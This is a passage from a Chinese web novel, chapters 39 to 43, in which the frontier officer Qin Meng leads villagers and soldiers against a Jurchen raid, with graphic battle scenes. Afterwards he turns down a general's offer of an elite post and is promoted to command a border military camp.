“驾!!!”秦猛猛地勒紧马缰,枣红马人立而起。
他双脚重重一夹马腹,几乎将全身的力量都倾注下去。枣红马吃痛之下,速度飙升到极致。
下一刻!
枣红马四蹄腾空,化作一道裹挟着浓烈血腥与疯狂杀意的紫红闪电,朝着火光之地奔去。
寒冷、疲劳、远处的厮杀…一切都被抛在了身后。
整个世界,似乎只剩下前方那片猩红的火光!还有火光中,那两个秦猛说过要守护的身影!
张富贵等人,亦是如此。
正在猎杀的队伍,看到军堡点燃烽火,正不顾一切地扑向堡后门!铁蹄践雪,杀意盈腔。
边陲之地,**劫掠。
为了守护家园,不惜一切代价。
血火焚夜,大幕已启。注定不是你死,就是我亡!
第39章 抢功劳的来了
“杀出去!砍**!”
堡门开,三十多戍卒,乡勇如同决堤的洪水般涌出大门,朝着阵脚大乱的女真兵发起了反冲锋。
冲在最前面的是两个壮硕的青年,一人提着口锈刀,瞅准一个慌乱的**兵,猛地扑过去将其拽下马,如同杀猪般死死摁住,嘶吼着将刀狠狠捅入对方的颈侧,鲜血喷得他满头满脸。
另一人则跳起来,舞动着手中沉重的长柄铁镐,狠狠砸中一个试图冷静射箭的**脑袋。
只听“砰”的一声闷响,那**连哼都没哼一声,就落了个脑浆迸裂的下场,直挺挺地倒在地上。
四十来岁的李铁匠也不甘示弱,他的幼子多年前死于**掠边,这份血海深仇让他此刻如同疯魔。
他抡着平日里打铁的铁锤,追上一个摔下马的骑兵,不由分说一锤砸在对方的头颅上,伴随着骨骼碎裂的脆响,他如锻铁般怒吼。
“**,叫你烧,叫你抢,还我…儿的命来!”
堡内的军民彻底疯狂了!
**、草叉、铁叉都化作复仇的利器,对着慌乱的女真兵疯狂戳刺。沉闷的撞击声与短促的惨叫声交织在一起,十多个**兵本就慌乱,又被这前后夹击,眨眼间,就被人潮淹没。
“啊、啊…”伴随着惨叫,**不是被愤怒的军民刺成了筛子,就是被拽下马剁成了碎片。
界河边的小南河堡能存在至今,不是没有道理的。
边民们世代在刀口上舔血,为了守护家人和家园,常年与异族浴血奋战。他们退无可退,绝境之中,温顺的绵羊也能变成凶狠的野狼。
“哈哈哈……杀,杀得好!”
秦猛一刀削断一个挡路女真兵的弯刀,顺势割断其脖子,听着身后震天的呐喊,看着堡民脸上那股凶狠决死的劲头,一股热血涌上心头。
他更加确信,扎根于寒冷北地是对的。在这片浸染血泪的边陲土地上,收拢这些骨子里藏着凶性的边民,就是自己未来最坚实的根基。
堡后门那边,刘铁柱带着二十个新兵正死死顶住十几个**的猛冲。
“顶住,给老子砸石头,泼水,别让他们靠近。”他急眼了,那不开弓了,抄起墙角**,对着墙上箭孔外的黑影“轰”的就是猛刺。
那**惨叫着从墙上掉了下去,摔在地上没了声息。
新兵们受了鼓舞,捡起地上的撬棍、石块,连拳头带脚地招呼,还有人用水瓢泼着沸水。
墙外叫声和骂声不断。
但就是这样顽强抵抗,硬是没让**兵往前半步。
那摇摇欲坠的大门始终没有被撞破!
这时,张富贵领着几个老兵寻声杀来。他们眼中的怒火熊熊,真的犹如饿狼般迅速靠近。
嘴里发出“呜哈”之类的怪叫声,不时大笑,叫骂。假扮成援军,摸到后门**骑兵屁股后头。
“弄死他们!”张富贵低喝一声,手里的宽刃杀猪刀就捅了出去。
“杀——!”王铁山等这帮老兵油子下手又快又狠,刀子专捅后心窝、砍脖子这些软地方。
一眨眼就捅翻了六七个**!
“不好,是敌人。”女真骑兵反应过来,nv眦欲裂。
可是,已经为时已晚了!
“开门,杀出去帮忙!”刘铁柱听出来是张屠户破锣嗓子,二话不说,他直接带人冲了出去。
两下夹攻,剩下七八个**吓得魂飞魄散,鬼哭狼嚎着想要逃跑,很快就被剁成了饺子馅。
“杀,杀**!”堡前堡后,杀声震天。
这次来强攻小南河堡的**兵,共五十余骑。
强攻两门时,**十来个,被秦猛从后方偷袭斩杀十多人,剩余的二十多个**也被李山、李铁匠、刘铁柱、张富贵等人联手围殴歼灭。
其实数量更多,只是秦猛杀了五队,张富贵等人也干掉五队有余,30多个**死在赶来途中。
战斗结束后,堡民们呆呆地望着遍地的**尸骸和流淌的鲜血,满脸都是震撼与不敢置信。
以往异族劫掠时,要么是**久攻不下自行退走,要么是城寨大队骑兵及时增援逼退敌人。
从未有过将四十多个**全部歼灭的战绩。
所有人都清楚,这份泼天的头功,非秦猛莫属。
“猛哥儿,你太神了!”
“我们守着了,你杀了十几个**。”
几个十七八岁的后生满眼放光,看秦猛的眼神跟看神仙似的,兴奋嚷嚷着,满脸都是崇拜。
秦猛没有理会这些夸赞,他抬手擦了擦脸上的血污,目光锐利地扫视四周,暂时没有危险。
他眺望燧堡烽火,立刻舞刀拍马,高声喝道:“快,快递通知后堡门张富贵等人集结,谁会说女真话?赶紧换衣,支援燧堡,杀**。”
“我会!”李山挺身而出,扒下**衣袍往身上套。几个还残有力气的军民自告奋勇参与。
堡墙上有人飞奔去后堡门。
不久后,张富贵率队浑身浴血,横穿堡子赶来。他们每人牵两匹甚至三匹好马,派上用场。
李山,两个魁梧青年等人纷纷上马。
就在秦猛准备带人出发时,异变突生。
“嗖!”一道比寻常箭矢粗壮数倍的箭矢撕裂虚空,带着尖锐的破空声,直逼秦猛的太阳穴。
这竟是一支三棱带血槽的破甲重箭。
箭杆粗如手指,通体泛着乌铁般的沉冷光泽,一看就威力无穷。
死亡的寒意瞬间笼罩全身。
秦猛汗毛根根倒竖,多年的战场经验让他本能地察觉到这箭危险。这箭太快太沉,若是伸手硬接,必然是手腕连头被一同贯穿的下场。
千钧一发之际,他左臂猛地勒紧马缰,身体随着马匹的转向迅速偏头,同时,右臂以近乎扭断关节的姿势,回撩弯刀,狠狠劈砍。
“铛——!!!”
震耳欲聋的金铁交鸣声在夜空中炸开,锋利的刀锋精准地撞上了重箭的箭头。
巨大的冲击力让秦猛的弯刀轻颤,麻痹感如同电流般窜遍整条右臂,持刀虎口更是胀痛。
那支
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重箭被斩偏轨迹,带着呼啸声斜插入马前的泥地中,足足没入一尺多深,箭羽犹自嗡嗡鸣响不止。
这是一个高手!秦猛心头猛地一紧,不敢有丝毫大意,猛地转头望向箭矢射来的方向。
远处的黑暗中,一骑快马正迅速逼近,马上人身形异常魁梧,身上穿着精锻的鳞状铁叶甲,在月光下泛着幽冷的光泽,手中一把巨大的铁胎弓弓弦还在微微震颤。
——正是刚才放箭之人。
他头盔下的鹰隼般锐利的眼睛死死锁定着秦猛,眼神冰冷而凌厉,充满了对**的恨意。
更让秦猛心头一沉的是,眼角的余光瞥见林缘大道的方向。火把长龙飞舞,卷起冲天的烟尘,沉闷的马蹄声由远及近,越来越清晰。
一支身披黑甲的骑兵队正急速奔来。
没有旗帜,穿着大周边军铁甲,是城寨增援的骑兵。
秦猛脸色瞬间就变了,换做之前,他求之不得援军来。可现在这种情况,**杀了大半,即将取得胜利,这群援军来了,令人生恼。
大周北张帅司有规定,堡、寨遇**袭击,自己勇猛击溃和援军赶来,发放的奖励截然不同。
如战利品,就不是军堡独享。
大部分好处还要被这些援军给占了去。
就更别说最终功劳,杀**奖励,都大有折扣。
作为一个有野心的管队官,岂能看到这种事情发生?
“快,搞快点,援军来了,别让咱的功劳跑了!”
秦猛迅速权衡利弊,瞥了一眼即将到来的援军,不想被人摘胜利果实,冲李山等人急喝。
他又冲那冲来的弓箭手撂下狠话:“你这小瘪犊子,暗箭伤人算什么本事?有种别跑,等老子解决了这群女真**,再回来找你算账。”
秦猛向旁边的军卒要了一杆**,拨转马头,带着李山,张富贵等人朝着燧堡的方向疾驰而去。
“嗷呜……”人人挥舞弯刀,怪叫着。
冲出不远,秦猛又回头对打扫战场的李铁匠吼道:“李叔,劳烦给月娘报个平安。那边林子里有十几个**的尸体,是我途中杀的。
赶紧派人收回来,别让后面的‘官爷’顺手牵走,马匹,武器都金贵着呢,那是咱们堡的血本。”
“对了,反过来那边,我们也杀了几队**兵……”张富贵,王铁山这才想起,纷纷叫嚷。
“放心交给我!”李铁匠扯着嗓子应道,脸上血污混着激动——这些尸体和好马意味着的财富与功劳,朝廷有奖励,边堡之人再清楚不过。
远处大队骑兵已至,约三百余人,皆着黑甲。
为首将军身披厚重铁甲,骑高头大马,被兽面铠军官簇拥着。见铺堡入口**尸横遍野。
而且李铁匠,刘铁柱等人不断从树林拖回尸体。
至少有几十具,他们无不震惊。
为首将军未多停留,只派人打探详情。
得知这群**来自女真部落h一人竟斩杀三十多个女真骑兵,既惊讶又好奇,决意见见此人。
第40章 冲阵!反击!
夜色浓稠如墨,秦猛领着十几骑伤痕累累的“残兵败将”冲出林带,前方烽燧堡轮廓猛地撞入眼帘。
堡墙之上,火光骤然跳动亮起,如同沉沉黑布上灼开的孔洞,将土堡粗糙的棱角清晰映照出来。
千疮百孔的“周”字旧旗,此刻以近乎悲怆的姿态挺立,虽残破褴褛却依旧在夜风中倔强飘扬。
堡墙之下,几十名女真骑兵也依旧纵马绕着缓坡兜转,放肆辱骂、嘲讽。弓弦偶尔炸响,零乱箭矢钉在夯土墙上,发出沉闷的噗噗声。
“无胆南蛮,钻出乌龟壳!”
“周狗死绝了?还有喘气的没?”
……
夹杂着粗野女真语的叫嚣此起彼伏。
**兵脸上洋溢着得意与残忍,肆意享受戏耍“笼中之鼠”的快感,对身后树林的动静毫无警觉。
时机已至!
“杀,杀**——!”^_^队伍末尾,
几个军汉刻意落后,猛地扯开破锣嗓子嘶吼,手中破锣破鼓被狠命敲打,发出刺耳混乱的巨响。
十来骑残兵同时狠抽战马,扬起漫天烟尘。灰尘蔽空,马蹄轰鸣。
在破晓前模糊的晨光里,这一小撮人硬是造出了数百骑的气势!
“驾!快跑啊——!”秦猛装作惶恐状,紧伏在狂奔的枣红马背上。
张富贵,李山等人口中更是狂呼乱叫。频频回望,仿佛被恶鬼追赶。
此时,堡墙上的秦大壮一刀劈断射来的箭杆,手臂震颤未止,身后杀声已如山崩海啸般响彻。
“是…是我们的人?”一戍卒声音里带着难以置信。
“铺堡没丢?是铺堡的兄弟在追砍女真狗?”另一人声音猛地拔高,如同撕裂的布帛。
长久紧绷的弦被忽然而至的希望扯断。狂喜如野火,瞬间焚尽积压整夜的绝望、愤怒与憋屈。
“是援军来了!”秦大壮用尽全身力气嘶吼,带着血沫腥气,“开堡门,随老子冲啊——!”
墙垛缝隙里,一张张因疲惫扭曲的脸瞬间被疯狂点燃。眼中不再是憋屈,而是饿狼扑食前的绿光!
燧堡内部猛然响起巨大撞击和绞盘锁链的沉闷摩擦。
“轰隆隆——!”
沉重厚实、包裹铁条的木门猛地向内砸开,尘土飞扬,
闸门已开,困兽出笼!
“杀,嗬啊——!”憋屈整夜的守军如同决堤狂澜,裹挟无边怒火轰然卷下土坡。
有人腿上箭伤深可见骨,拄着断刀跛脚猛冲;有人嗓子沙哑,仍高举缺口刀矛嗷嗷嘶吼。
这股洪流狠狠撞向正在嬉笑叫骂的女真骑兵。
**们几乎同时听到身后突兀爆发的震天杀声。
“杀,杀**——!”人声如雷。
烟尘卷地而起,影影绰绰似有无数人马自背后林中猛扑而来。
“嗯?”女真领队扎哈尔壮硕身躯猛地一震,彻骨寒意窜上了脊椎。他勒转马头,铜铃暴眼死死盯向尘烟。
——烽燧守军竟放弃坚壁冲锋?
这完全颠覆了数十年的“默契”。过往入境劫掠中,他从未见过大周军队如此不要命的打法。
更诡异的是铺堡方向的追杀声!
昨夜分兵拔堡的兀鲁思带走五十多人,按常理早该汇合,为何迟迟不归?连个报信的都没有?
这前后夹击的惊变来得太快、太狠。
扎哈尔心头掠过一丝疑惑,紧接着便是无法抑制的强烈不安。
秦猛借着枣红马冲刺惯性与爆发力,一马当先如血色利箭,转眼切入女真大队侧翼百步之内。
李山、张富贵等人立刻按谋划嘶吼,口中是临时拼凑的女真短句:“安答,巴特,有…有埋伏!”
“跑,快跑!好多铁鹞子!”
声音扭曲变形,带着极端恐惧的破音,仿佛见了世间至恐怖之物。众人慌忙逃窜,硬生生将十来人奔逃演绎出大军败如山倒的绝望气势。
朦胧晨曦中,女真队伍骤闻身后告警,又见十来个“自己人”血污奔逃,立时骚动着让出道路。
直到秦猛几人高速冲至二三十步,非但未减速,反而再度提速时,靠前的女真兵才猛然惊醒。
不对!
图鲁木部第一勇士扎哈尔心沉冰湖。借着微光看清领头者面容——满脸血污披着破皮袄,是部落儿郎的打扮,轮廓、眉眼却无一熟识。
“不好,他们是假的,汉狗的诡计!”
“快,快射死他们。”惊觉的怒吼刚从他牙缝喷出。
一切已太迟了!
双方距离只剩最后十几步!
轰!
秦猛手中的**借着枣红马全力冲刺的恐怖势能,枪尖朝前绷成一道笔直的寒光,带着撕裂空气的锐啸直刺而出!挡在最前方的女真骑兵甚至来不及抬起圆盾格挡,锋利的枪尖如穿纸般穿透他的皮甲,从胸膛入、后背出。
“噗嗤!”血箭喷涌间,秦猛手腕猛旋,枪杆顺势向前一挑,竟将那骑兵连人带甲挑离马背。再将这具还在抽搐的尸体砸向侧方另一骑。
“砰!”被砸中的女真兵惊呼着倒飞,又砸到身边的人,几匹坐骑受惊狂跳,瞬间搅乱了队列!
秦猛毫不停歇,双臂抡动**如风车旋转,枪尖似**出洞精准点刺,枪杆如铁棍横扫。
遇人便戳,逢骑就砸。枪尖刺入皮肉的闷响、枪杆砸中骨骼“咔嚓”的脆响声接连不断。
沿途的女真骑兵被这**般的攻势打得人仰马翻,根本无法抵挡。
转瞬之间,秦猛冲锋在前,便撕开一道血路,竟无一人能挡其锋。
李山左肩缠伤布渗着血,此刻却状若疯魔,手中**探出,精准刺穿女真兵脑袋,挑飞一个女真什长的皮盔,露出光秃秃头顶和后脑小辫。
张富贵是个猛将胚子,拎着一条狼牙棒四处乱砸。
“噗嚓!”试图举刀招架的女真兵,头颅如熟透的瓜果般被砸得粉碎,脑浆血雨喷洒开来。
“妈呀——!”惊骇欲绝的惨嚎成了溃散的前奏。又一个躲闪不及的女真兵被棒头擦中腰肋,惨叫着撞倒身边的同伴,随后被后续老兵策马践踏,皆是筋骨尽断,脑浆迸裂的下场。
王铁山等军汉被血腥场面激得凶性大发,嘶吼着刀枪并举,朝慌乱的**兵猛砍狠刺。<
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br>就在这时——烽燧堡方向更是爆发出狂吼,堡门洞开,秦大壮率守军如决堤洪流与敌人交战。
“冲,冲开他们!”另一侧,秦大壮眼珠暴突,将卷刃的朴刀当作重棍,以全身之力横扫。
“啪”的闷响,刀背砸中女真兵面门,鼻梁塌陷,眼珠爆裂的声音令人牙酸。那女真兵捂着脸凄厉嚎叫,在地上翻滚,被随后赶来的兵卒一枪攮死。
两面夹击之下,几十个女真骑兵被秦猛小队撕裂队列,又遭堡内生力军痛击。战马挤在狭小缓坡,无法展开骑兵优势,瞬间陷入绝境。
惨叫声、兵刃撞击声、战马哀鸣声响彻拒马河边!
夜色正浓,敌情难辨。周军的亡命反扑如同滚烫油锅里泼进冰水,恐慌在女真兵中瘟疫般炸开。
“赤目鬼来了!”“是生撕**的阎罗!”
“长生天啊!赤目鬼?那个周人的眼睛是红的。”有人看到浑身浴血的秦猛,惊恐尖啸。
“跑啊——!”一个女真兵的凄厉尖叫压垮了最后一根稻草。本就战战兢兢的队伍瞬间土崩瓦解。
“逃命啊——!”
“跑回草原去——!”
恐惧摧毁抵抗意志。哭嚎声四起,**们疯狂踢打惊惶战马逃窜,人马倾轧踩踏,乱象丛生。
“不要乱,后退者死!”
扎哈尔见状岂能甘心做丧家之犬?他须发戟张,目眦欲裂,暴雷吼声中,巨大弯刀狠狠劈下。
“噗嗤!”一个弃甲溃兵被连肩带背劈成两截,喷溅的鲜血染红扎哈尔半个身子,如同浴血魔神。
他身边几个亲兵同样大吼,试图聚拢族中精锐。
然而,残酷**未能稳住阵脚,热血反而浇灭最后抵抗火星。
反而将草原部落恃强凌弱的劣根性暴露无遗。
之前还嚣张,不可一世的女真精锐,面对人数不占优,又被两面夹击,勇士精神荡然无存。
兵败如山倒!
任凭扎哈尔咆哮**溃卒,在被夹击事实和不断倒下的同伴面前,一切怒吼都徒劳苍白。
眼见敌军崩溃,秦猛杀意更盛。
他目光如电锁定几个试图聚拢败兵的心腹武士,暴喝一声拨转马头,枣红马如通灵般调转方向猛扑。
**化作死神镰刀,专绞杀试图**抱团者。
他纵马所过之处,残肢断臂四溅,如同撕裂的败草。
乱军之中,一抹迥异影子吸引住秦猛鹰隼目光。
——那是被七八名剽悍**簇拥一人。那家伙舞刀不断喝斥,叫骂,其架势绝对是领头的。
火光晨曦下,那人魁梧身形异常醒目,上身覆盖精良的铁鳞甲,头盔插着斑斓花翎箭羽。
——正是之前那个射箭挑衅的巨汉,竟是个熟人。身下的墨玉黑马肩高腿长,四肢粗大,异常雄壮,一看就知道是一匹难得的宝马。
扎哈尔,图鲁木部第一勇士,部族长刀最锋利的刃!
擒贼当擒王!
秦猛心头烈火烹油,也眼馋那匹神骏的坐骑。瞬间决断,深吸一口气,一夹马腹,暴喝如雷。
“贼厮,纳命来!”
第42章 来了个大人物
“嘘!”秦猛慢了半拍,望着几个**分散逃窜消失在黑夜中,勒马伫立在冰凉的拒马河上。
他眺望着界河北岸,任由凛冽河风卷着血腥气和草原特有的苦艾草气息,猛烈地扑打在脸上。
枣红马粗重地喷着鼻息,蒸腾起大团白雾。
秦猛将染血的**笔直地指向北方苍茫无际的辽阔草原深处。那辽阔无垠的草原尽头枯黄,死寂,却仿佛潜藏着无数贪婪嗜血的眼睛。
他胸中那股奔腾的热血尚未冷却,反而随着这声咆哮直冲云霄:“总有一天,老子会马踏塞外。让这些不知死活的狗**血债血偿。”
秦猛的吼声如同受伤猛虎的咆哮,混着金属般的铿锵,在空寂的界河上疯狂震荡、回响:
“记住今天,凡敢犯我界河者——虽远必诛!杀无赦!”
声浪如闷雷滚过初绽的战场上空,带着铁与血淬炼出的杀伐之气,清晰无比地传到了河对岸。
“卑职等愿追随将军!踏平草原,斩尽胡酋!”身后,张富贵、李山、王铁山,还有铺堡那两个壮硕青年,声音都因为过度嘶吼而破哑。
但每个人眼中都燃烧着一种近乎狂热的火焰!
那火焰炽热、纯粹、夹杂着恨意,不顾一切。
全都凝固在他们望着前方那挺立如山的伟岸背影上。
众人把**尸体搭在马鞍上,拨马踏上归程。
当他们的马蹄踏上依旧属于大周疆土的南岸河滩时。
恰好,夜色终于褪去。
天蒙蒙亮,东方天际浮现一抹鱼肚白。橘黄自黛青色山脉与铅灰色天际相接的尽头奋力跃出。
晨曦的光芒,瞬间泼洒下来。
覆盖了拒马河浑浊的流水、染血的河滩、残破的兵器、倒伏的尸骸,也笼罩了这些刚刚经历血火淬炼、全身沐血如同铜浇铁铸般的汉子们。
他们的眼神锐利,身上凝固的血污竟如同暗红色的甲胄,反射出一种冰冷而肃杀的光泽。
凛冽!锐气!杀戮!
狼藉的战场喷发着硝烟与血气!
“赢……赢了?”
“老天爷!**…**几乎**光?”
劫后余生的燧堡守军终于艰难地消化了这个不可思议的事实,坡上,坡下空地,女真**的尸体铺陈开来,浓烈的血腥气令人作呕。
人群中有压抑的啜泣声响起,随即被更大声的狂呼和嚎叫淹没:“赢了!我们活下来啦——!”
而伴随马蹄声,席卷而来的铁甲骑队如潮水般杀来,却晚了一步,在缓坡之上缓缓停驻。
为首的将军勒住马头,在数十名身披兽面铠的亲卫的簇拥下,冷峻的目光如同两柄实质的利剑,居高临下地穿透了硝烟未散的战场。
他精准地锁定了那浑身浴血、追杀归来的秦猛身上。南河城寨知寨魏文陪同随行,态度恭敬。
那铁甲将军身后,紧随其后的一名高大亲卫,背着箭囊,臂膀上还斜挎着一张几乎与人等高的巨弓,乌沉的铁胎弓身泛着冷冽的寒光。
——正是之前射出那惊世一箭之人。此刻,他锐利的鹰隼般目光同样穿透空间,牢牢锁定秦猛,嘴角似乎勾起了一丝冷酷而玩味的弧度。
战场中央,秦大壮已跑得上气不接下气地冲到秦猛身边,一把拉住他的胳膊,激动得语无伦次:“猛子!快,快…走,大人物来了。”
“什么大人物?”秦猛不由皱眉:“来了能咋的?**是我们击溃的,他们休想分走军功。”
“你…你?”秦大壮被胆大包天,又冷静无比的秦猛给说愣住了,缓口气定神,依旧激动地说。
“是边防帅司来人,天大的人物来了。魏知寨陪着呢!
是…是虎贲军飞虎卫的赵将军,拜幽州防御使。巡视边堡,见到咱这狼烟起来了,特意赶过来。”
“那倒是不小。”秦猛眼睛眯起,露出若有所思状。
秦大壮几乎是半拖着秦猛,拨开围观的人群,向着那如铁塔般矗立在高处的赵将军走去。
近距离感受到那将军身上散发出的、久经沙场**盈野带来的铁血威压和上位者的凛然气势。
秦大壮只觉得腿肚子又在打颤,头都不敢抬起,结结巴巴地行礼:“卑职…边堡队将…秦大壮…叩…叩叩见将军…”
反观秦猛,虽浑身浴血、衣甲狼藉,但却依旧昂首挺胸,不卑不亢,按照边军中的礼节行礼。
“末将边堡管队官秦……”
秦猛话语戛然而止,只因视线扫过对方身后亲卫时看到了熟人,那个挎着巨弓的高大青年。
“是你?”秦猛眼睛微眯,声音转冷。
就是这家伙!之前那一箭极为凶险。他嘴角甚至扯出一个带着血腥气的冷笑,若非场合特殊,恐怕就要当场发作,将其按在地上摩擦。
“哦,你们认识?”那赵将军眉头挑动,好奇地问。
“不认识!”秦猛摇了摇头,直言不讳地说道:“之前这小子放冷箭,我准备事后揍他一顿。”
“呃……”魏知寨听了额头渗出冷汗。
秦大壮和张富贵等人就更是脸色剧变,神色紧张。就算有点过节,也不能当着将军面说。
“哼,谁揍谁还不一定!”那青年冷笑,本欲再说。却被那赵将军摆手打断,盯着秦猛问道。
“你叫何名?”
他的声音低沉浑厚,带着不容置疑的威严,如同战场金铁交击后的嗡鸣,回荡在众人耳边。
“边堡管队官秦猛,见过赵将军。”秦猛的声音清朗有力,没有任何修饰和畏缩,坦然应答。
一旁的魏知寨见状,连忙上前一步,在边上极力推荐道:“将军明鉴,秦管队文武双全。
两年前,其父亲秦武为保护百姓断后,拦截**力战捐躯,忠烈可嘉。
秦家乃是昔日大周开国虎威将军秦天罡的后裔。乃是名门忠烈之后!忠良种子啊!
真是虎父无犬子!今日一见,果然虎将也!末将之前失察,未能早加关照,实在惭愧,惭愧!”
那赵起将军——虎贲军飞虎卫主将听着魏知寨的话,锐利的眼中精光连连闪烁,他仔细打量着眼前这个高大英武、眼神悍勇不驯的年轻人。
名
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将血脉?难怪如此勇烈!
“斩获几何?”赵起沉声问道,语气单刀直入,不拖泥带水。
秦猛心念电转,他在破庙至燧堡,接连转战,杀了许多,但具体数目在混乱的激战中哪能记清?
他略一沉吟,答道:“未曾细数,光**六七十骑总有。另外斩杀敌将一名,地位很高。”
他报了个保守却不失气势的数字,语气淡定得仿佛在说宰了几十头羊一般,没有丝毫邀功的刻意。
“好!”赵起吐出一个字,斩钉截铁,带着由衷的赞赏。
“大周律法,斩首换功,升官进爵皆有规制。你冲阵,斩将,护堡,功劳之巨,可入飞虎卫效力。”
虎贲军数万人,分为左右两卫,以及飞虎卫。而其中的飞虎卫,是边军精锐,虎贲军王牌。
赵起看着秦猛,如同看着一块未经雕琢的璞玉,眼中满是欣赏:“入本将亲卫营,暂授部将职衔,实授都尉,再赏银五百两,绢帛二十匹。随本将回幽州飞虎大营听用,如何?”
“嘶…”在场许多人倒抽凉气。
包括那背弓青年,甚至知寨官魏文。
其他的不说,光是一个都尉,至少从六品武官,就已经跟他正将,知寨齐平,甭说以后了。
这待遇简直是一步登天!
从一个八品管队官这不入流的武官,瞬间跃入幽州边军最精锐的飞虎卫。成为主将近卫部将。
俸禄、前程皆不可限量。
是多少人梦寐以求,苦熬半辈子也得不到的机遇。
秦大壮激动得嘴唇都在哆嗦,几乎不敢相信自己的耳朵。
跟过来的张富贵,李山等军汉眼中更是射出极度羡慕的光芒,看向秦猛的目光充满了敬畏。
魏知寨也连连点头,心中暗叹秦猛真是时来运转。
这一步算是彻底登天了!
秦猛面无表情,心中却瞬间权衡起来。
跟随这位明显权势滔天的赵将军,确实是一条常人梦寐以求的青云之路,前途不可限量。
但入了行伍,便处处受制于军法、人脉和上官意志。而且要面对这位在官场潜在的对手。
最重要的是,想要按自己的想法练兵、招揽人手、种田积粮、打造属于自己的铁杆势力?
恐怕只能是奢望!
这与他想在此地扎根、依靠边民为基,聚拢流民、借大周边镇之名徐徐扩张势力的计划,完全南辕北辙。
更何况……他目光扫过远处正在打扫战场、看向他时眼中充满敬畏和依赖的铺兵、戍卒。
一入幽州大营,等同舍弃了边堡。与这些浴血奋战的兄弟们划清了界限,为了前程而忘义。
风光一时,后悔一世。
秦猛心中已有了决断,不可能为了官职而改变计划。他深吸一口气,朝着赵起抱拳行礼,目光坦荡而坚定:“将军厚爱,小子感激涕零,可对不住了!大丈夫立于世,信义为先。”
周围人眼睛瞪得老大,顿时鸦雀无声。用不可思议的目光看着秦猛,这位是要拒绝将军拉拢?
放弃这拓者可多的大好前程?
第43章 升任知寨官
秦猛目光迎向那位赵将军审视的眼眸,继续说道:“末将家有妻子,幼妹需得安顿守护!父亲当年死战不退,就是守护这片土地和百姓。
他生前更曾向此地袍泽父老立誓,要护这小南河堡一方平安。此诺因个人前程,食言而肥。愧对父亲在天之灵,更愧对数百堡民信任。”
他猛地抬手,指向拒马河对岸那苍茫无际的草原,声音铿锵有力,带着一股气吞山河的锋锐。
“将军,这界河之畔,才是小子的用武之地。**年年寇边,掠我财货,杀我父老,血债累累。
末将恳请,愿在这边墙之地,效犬马之劳。守护这条大周屏障,斩鞑酋狗头,筑京观于界河。
护我大周河山,护我边地百姓,男子汉大丈夫,建功立业就在前线,不在后方,请将军成全。”
他的话掷地有声,充满了对异族的刻骨仇恨和对建功立业的强烈渴望,字里行间皆是一腔血勇,赤诚报国之心溢于言表,压过了凛冽寒风。
周围的军卒们听完这番话,个个挺直了脊梁,齐齐眺望河对岸,寒风吹在脸上也浑然不觉。
秦大壮也不再紧张,张富贵,李山等人目光呆滞。
知寨官魏文下意识地攥紧了手中的刀柄,只觉得脸颊发烫。
他在边地守了这些年,年纪大了,锐气早被磨得差不多了。
此刻听着这年轻人字字泣血的誓言,只恨自己没能始终揣着这份热血,一时间又愧又敬,望向秦猛的目光里多了几分沉甸甸的认可。
不远处那个背着巨弓的魁梧青年原本嘴角还带着几分漫不经心,此刻眉头却缓缓舒展开,粗糙的手指在弓梢上轻轻摩挲着。
他看向秦猛的眼神变了,先前的审视,挑衅淡去,取而代之的是一种同类间才懂的敬重。
——那是对滚烫初心的共鸣,是对秦猛的钦佩。
其他亲卫更是神色动容,交头接耳间难掩激动。他们跟着赵起将军多年,最清楚将军年轻时便是凭着这般“护河山、护百姓”的孤勇闯出名堂。
如今见这年轻军官眼中燃烧着同样的火焰,便知他绝非池中之物,这般年纪便有如此格局与血性,将来定能在这艰苦的边地闯出一片天地。
寒风依旧呼啸,但军卒们的心头却像被点燃了一簇火,暖烘烘的,连带着周围的空气都仿佛多了几分肃杀的锐气。
赵起盯着秦猛看了半晌,这位以直爽刚毅闻名的虎将,非但没有因对方拒绝自己的好意而恼怒,反而眼中的欣赏之色更浓。
他最欣赏的,就是这股子赤诚勇烈、言出必践的劲儿。从秦猛身上看到自己年轻时的影子。
“好,好一个信义男儿!好一个斩酋筑京观!”赵起的声音陡然拔高,充满了豪情壮志。
“本将便依你,你既志在戍边,忠勇可嘉,这是立夏冲阵,斩将之功,本将便破格用你!”
他大手一挥,声音响彻刚刚安静下来的战场,如同军令落地,清晰地传入每个人耳中:
“即日起,小南河堡升为军寨,擢秦猛为虎贲军磐石营副将,实授军寨知寨,秩正七品武职。
辖三座边堡燧台,统管所有防务及军户民事。自行募兵训练,甲胄、粮饷、布帛即刻拨付。
望尔谨守职责,靖安边防,驱逐鞑虏,护这片土地和百姓,不负皇恩,不负边防帅司厚望。”
秦猛心中猛地一跳,成了!
磐石营副将!南河城寨驻扎2000边军,正是磐石营。副将,官居正七品,可自称将军,能率领一部五百兵马,可组建五十人的亲卫队。由帅司调拨甲胄装备,这是实打实的晋升。
而这实授的正七品知寨一职,就更不得了。尤其是军堡升级为堡寨,哪怕是小型军寨。
可驻扎兵马人数将达到五百,连同“辖三座边堡所有防务及军户民事”的权力,这正是他梦寐以求的根基。
七品武官,虽然品级不算高,在边镇武职中也属末流。
但在这片土地上,他就是法理上名副其实的最高长官。军寨他说了算,说是土皇帝也不为过。
“卑职秦猛,谢将军拔擢之恩!誓死守边,万死不辞。”秦猛压下心中的波澜,单膝跪地,抱拳行礼,动作干脆利落,话语里充满决绝。
魏文在边上羡慕不已,他半辈子到了如今的位置。这个故人之后,地位已不比自己低多少。
秦猛起来后,又说出让众人惊掉下巴的话:“但是将军,这个奖励还不够,俺功劳未说完。”
赵起眉头微挑,眼中闪过一丝诧异。
秦猛继续说道:“将军有所不知,昨夜末将带人追查敌踪,遭遇捕奴团队,斩杀数十个腌臜,救下近百父老乡亲。
另外在得知图鲁木部**来接应,破庙设伏,先斩杀五十个**,还活捉了猛安勃极烈……”
“什么?”赵起冷峻的脸上瞬间浮现出惊讶之色,他身边的数十个亲卫,也个个目瞪口呆。
——他们比谁都清楚,战场上能活捉一个女真部落猛安勃极烈,这可意味着是天大的功劳。
这猛安是草原部落的称呼,为千户长,看似与千夫长类似,实则两者的地位天差地别!
千户长配牧场、征收赋税、差派徭役和统领军队。是女真部落的重要人物,生擒,绝对是大功一件。
秦猛见众人惊讶的样子,便把昨夜王寡妇儿子被劫掠走的事情,详细说来。参与的张富贵,王铁山等军汉纷纷附和,还原了昨晚一幕幕。
这顿时又引起周围众人惊愕和羡慕。
魏文看着秦猛,心中长叹“这小子果然不简单。”
赵起略一沉吟,沉声道:“这的确是大功一件,军中无戏言,本将话已出口,岂能轻易更改?”
他话锋一转,给出了承诺,“这功劳先记着!等到开春,戍堡军队训练有成,参加大比若能取得好名次,老子再向帅司保举,提拔你。”
